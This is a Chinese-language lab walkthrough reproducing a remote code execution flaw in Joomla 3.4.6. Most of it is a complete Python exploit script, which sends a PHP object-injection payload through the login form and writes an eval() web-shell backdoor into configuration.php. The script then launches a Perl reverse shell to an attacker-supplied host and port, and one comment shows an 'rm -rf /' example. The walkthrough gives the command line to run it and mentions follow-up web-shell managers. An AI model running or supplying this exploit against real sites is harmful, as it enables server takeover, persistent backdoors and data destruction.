一、环境准备
Joomla3.4.6下载地址：downloads.joomla.org/cms/joomla3…
二、环境搭建
使用phpstudy，将源码放在安装目录的WWW里面简单配置一下即可。步骤此处省略。
三、漏洞复现
1、使用脚本验证漏洞是否存在
Joomla-346.py
#!/usr/bin/env python3 import requestsfrom bs4 import BeautifulSoupfrom colorama import initimport sysimport stringimport randomimport argparsefrom termcolor import colored init(autoreset=True)PROXS = {'http':'127.0.0.1:8080'}PROXS = {} def random_string(stringLength): letters = string.ascii_lowercase return ''.join(random.choice(letters) for i in range(stringLength)) backdoor_param = random_string(50) def print_info(str): print(colored("[*] " + str,"cyan")) def print_ok(str): print(colored("[+] "+ str,"green")) def print_error(str): print(colored("[-] "+ str,"red")) def print_warning(str): print(colored("[!!] " + str,"yellow")) def get_token(url, cook): token = '' resp = requests.get(url, cookies=cook, proxies = PROXS) html = BeautifulSoup(resp.text,'html.parser') # csrf token is the last input for v in html.find_all('input'): csrf = v csrf = csrf.get('name') return csrf def get_error(url, cook): resp = requests.get(url, cookies = cook, proxies = PROXS) if 'Failed to decode session object' in resp.text: #print(resp.text) return False #print(resp.text) return True def get_cook(url): resp = requests.get(url, proxies=PROXS) #print(resp.cookies) return resp.cookies def gen_pay(function, command): # Generate the payload for call_user_func('FUNCTION','COMMAND') template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}' #payload = command + ' || $a='http://wtf';' payload = 'http://l4m3rz.l337/;' + command # Following payload will append an eval() at the enabled of the configuration file #payload = 'file_put_contents('configuration.php','if(isset($_POST[\'test\'])) eval($_POST[\'test\']);', FILE_APPEND) || $a='http://wtf';' function_len = len(function) final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function))) return final def make_req(url , object_payload): # just make a req with object print_info('Getting Session Cookie ..') cook = get_cook(url) print_info('Getting CSRF Token ..') csrf = get_token( url, cook) user_payload = '\0\0\0' * 9 padding = 'AAA' # It will land at this padding working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}' clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects inj_object = '";' inj_object += object_payload inj_object += 's:6:"return";s:102:' # end the object with the 'return' part password_payload = padding + inj_object params = { 'username': user_payload, 'password': password_payload, 'option':'com_users', 'task':'user.login', csrf :'1' } print_info('Sending request ..') resp = requests.post(url, proxies = PROXS, cookies = cook,data=params) return resp.text def get_backdoor_pay(): # This payload will backdoor the the configuration .PHP with an eval on POST request function = 'assert' template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}' # payload = command + ' || $a='http://wtf';' # Following payload will append an eval() at the enabled of the configuration file payload = 'file_put_contents('configuration.php','if(isset($_POST[\'' + backdoor_param +'\'])) eval($_POST[\''+backdoor_param+'\']);', FILE_APPEND) || $a='http://wtf';' function_len = len(function) final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function))) return final def check(url): check_string = random_string(20) target_url = url + 'index.php/component/users' html = make_req(url, gen_pay('print_r',check_string)) if check_string in html: return True else: return False def ping_backdoor(url,param_name): res = requests.post(url + '/configuration.php', data={param_name:'echo 'PWNED';'}, proxies = PROXS) if 'PWNED' in res.text: return True return False def execute_backdoor(url, payload_code): # Execute PHP code from the backdoor res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS) print(res.text) def exploit(url, lhost, lport): # Exploit the target # Default exploitation will append en eval function at the end of the configuration.pphp # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters') # e.g. get_payload('system','rm -rf /') # First check that the backdoor has not been already implanted target_url = url + 'index.php/component/users' make_req(target_url, get_backdoor_pay()) if ping_backdoor(url, backdoor_param): print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param) print_info('Now it's time to reverse, trying with a system + perl') execute_backdoor(url, 'system('perl -e \'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');') if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-t','--target',required=True,help='Joomla Target') parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only') parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit') parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP') parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port') args = vars(parser.parse_args()) url = args['target'] if(check(url)): print_ok('Vulnerable') if args['exploit']: exploit(url, args['lhost'], args['lport']) else: print_info('Use --exploit to exploit it') else: print_error('Seems NOT Vulnerable ;/')
执行以上脚本
python3 Joolma-346.py -t http://172.22.99.173/Joomla-3.4.6/
结果显示存在漏洞的。
2、攻击和渗透
使用py脚本生成一个木马，并打开攻击机的某个端口进行监听。
python3 Joolma-346.py -t http://172.22.99.173/Joomla_3.4.6/ --exploit --lhost 10.0.2.15 --lport 9999
在靶机查看configuration.php,发现被写入了一句话木马，如下图所示（左图）。
剩下的步骤就是用菜刀或蚁剑等工具了。
